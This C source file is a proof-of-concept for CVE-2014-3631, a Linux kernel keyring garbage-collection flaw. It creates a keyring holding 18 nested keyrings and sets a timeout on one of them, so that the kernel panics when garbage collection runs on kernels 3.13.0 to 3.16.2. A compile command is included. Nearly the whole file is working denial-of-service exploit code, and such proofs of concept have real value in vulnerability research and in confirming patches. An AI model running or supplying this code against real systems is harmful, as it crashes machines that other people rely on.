/* ----------------------------------------------------------------------------------------------------
 * cve-2014-3631_poc.c
 * 
 * The assoc_array_gc function in the associative-array implementation in lib/assoc_array.c in the Linux kernel before 3.16.3 
 * does not properly implement garbage collection, which allows local users to cause a denial of service (NULL pointer dereference and system crash) 
 * or possibly have unspecified other impact via multiple "keyctl newring" operations followed by a "keyctl timeout" operation. 
 *
 * 
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 * 
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-3631_poc cve-2014-3631_poc.c  -lkeyutils 
 * 
 * 
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/


/* -----------------------   Includes ----------------------------*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <inttypes.h>
#include <keyutils.h>
#include <fcntl.h>


#define TARGET_KERNEL_MIN "3.13.0"
#define TARGET_KERNEL_MAX "3.16.2"
#define EXPLOIT_NAME "cve-2014-3631"
#define EXPLOIT_TYPE DOS


/* -----------------------   functions ----------------------------*/



/**
 * Poc for cve_2014_3631 vulnerability
 */
int main()
{
	key_serial_t currentKey = 0;
	key_serial_t topKey = 0;
	int i = 0;
	int fp;
	char kname[16]={0};
	char gc_delay[16] = {0};
	int delay  =0;
	
	printf("[cve_2014_3631]: Preparing to exploit.\n");

	// fetch garbage collector value..
	fp = open("/proc/sys/kernel/keys/gc_delay",O_RDONLY);
	if(fp == -1)
	{
		 printf("[cve_2014_3631 error]: Could not open /proc/sys/kernel/keys/gc_delay, assuming delay is 5 minutes. \n");
		 delay = 300;
	}
	else
	{
		read(fp,gc_delay,sizeof(gc_delay-1));
		delay = atoi(gc_delay);
		close(fp);	
	}

	// Add top key
	topKey = add_key("keyring","Lvl1K",NULL,0,KEY_SPEC_USER_KEYRING);
	if(topKey == -1)
	{
		printf("[cve_2014_3631 error]: keyring  fault\n");
		perror("add_key");
		return -1;
	}
	
	// Add 18 keys to top key
	for(i=0; i< 18; i++)
	{
		memset(kname,00,sizeof(kname));
		memcpy(kname,"Lvl2K_",strlen("Lvl2K_"));
		sprintf(kname+strlen("Lvl2K_"),"%d",i);
		currentKey = add_key("keyring",kname,NULL,0,topKey);
		if(currentKey == -1)
		{
			printf("[cve_2014_3631 error]: keyring  fault\n");
			perror("add_key");
			return -1;
		}
	} 
	
	/* Entering exploit critical code */
	printf("[cve_2014_3631]:  Exploit!\n");
	
	// Set timeout and wait for garbage collector
	keyctl_set_timeout(currentKey, 2);
	
	// Wait for garbage collector
	printf("[cve_2014_3631]: Exploit triggered, system will panic in  %d seconds..\n",delay);
	
	return 0;
}